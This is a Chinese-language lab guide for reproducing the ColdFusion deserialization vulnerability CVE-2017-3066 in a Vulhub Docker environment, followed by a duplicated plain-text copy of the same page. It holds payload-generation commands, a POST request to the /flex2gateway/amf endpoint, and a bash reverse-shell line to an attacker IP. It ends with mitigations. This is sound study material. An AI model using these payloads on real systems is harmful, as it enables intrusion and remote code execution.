Adobe ColdFusion 反序列化漏洞复现(CVE-2017-3066)
字数 970 2025-08-15 21:32:58

Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)复现指南

漏洞概述

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。该产品存在Java反序列化漏洞(CVE-2017-3066),攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。

受影响版本

  • Adobe ColdFusion (2016 release) Update 3及之前的版本
  • ColdFusion 11 Update 11及之前的版本
  • ColdFusion 10 Update 22及之前的版本

环境搭建

使用Docker快速搭建漏洞环境:

docker-compose up -d

等待数分钟环境启动完成后,访问:

http://your-ip:8500/CFIDE/administrator/index.cfm

使用默认密码vulhub完成安装。

漏洞复现

准备工作

  1. 下载必要的工具:

  2. 确保Java环境已配置

生成POC

1. 命令执行(写文件)

java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar \
com.codewhitesec.coldfusionpwn.ColdFusionPwner \
-e CommonsBeanutils1 'touch /tmp/success' poc.ser

2. 发送恶意请求

将生成的poc.ser作为请求体发送到目标服务器:

POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc.ser内容...]

验证命令是否执行:

docker exec -it [容器ID] ls /tmp

3. 反弹Shell

生成反弹Shell的POC(需要Base64编码命令):

# 先对反弹shell命令进行Base64编码
echo "bash -i >& /dev/tcp/攻击者IP/端口 0>&1" | base64

# 生成POC
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar \
com.codewhitesec.coldfusionpwn.ColdFusionPwner \
-e CommonsBeanutils1 "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" t.ser

发送生成的POC文件到目标服务器。

技术原理

该漏洞是典型的Java反序列化漏洞,攻击者通过构造恶意的序列化对象,利用Adobe ColdFusion的AMF(Action Message Format)端点进行反序列化操作时触发远程代码执行。

关键点:

  1. 漏洞利用的是Flex AMF端点(/flex2gateway/amf)
  2. 使用CommonsBeanutils1作为gadget chain
  3. 需要发送Content-Type为application/x-amf的POST请求

防御措施

  1. 升级到Adobe ColdFusion最新版本
  2. 限制对/flex2gateway/amf端点的访问
  3. 实施网络层防护,如WAF规则检测反序列化攻击
  4. 使用Java安全管理器限制反序列化操作

参考资源

  1. Exploiting Adobe ColdFusion
  2. Exploit-DB: 43993
  3. ColdFusionPwn GitHub
  4. Vulhub环境
Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)复现指南 漏洞概述 Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。该产品存在Java反序列化漏洞(CVE-2017-3066),攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。 受影响版本 Adobe ColdFusion (2016 release) Update 3及之前的版本 ColdFusion 11 Update 11及之前的版本 ColdFusion 10 Update 22及之前的版本 环境搭建 使用Docker快速搭建漏洞环境: 等待数分钟环境启动完成后,访问: 使用默认密码 vulhub 完成安装。 漏洞复现 准备工作 下载必要的工具: ColdFusionPwn ysoserial 确保Java环境已配置 生成POC 1. 命令执行(写文件) 2. 发送恶意请求 将生成的 poc.ser 作为请求体发送到目标服务器: 验证命令是否执行: 3. 反弹Shell 生成反弹Shell的POC(需要Base64编码命令): 发送生成的POC文件到目标服务器。 技术原理 该漏洞是典型的Java反序列化漏洞,攻击者通过构造恶意的序列化对象,利用Adobe ColdFusion的AMF(Action Message Format)端点进行反序列化操作时触发远程代码执行。 关键点: 漏洞利用的是Flex AMF端点( /flex2gateway/amf ) 使用CommonsBeanutils1作为gadget chain 需要发送Content-Type为 application/x-amf 的POST请求 防御措施 升级到Adobe ColdFusion最新版本 限制对 /flex2gateway/amf 端点的访问 实施网络层防护,如WAF规则检测反序列化攻击 使用Java安全管理器限制反序列化操作 参考资源 Exploiting Adobe ColdFusion Exploit-DB: 43993 ColdFusionPwn GitHub Vulhub环境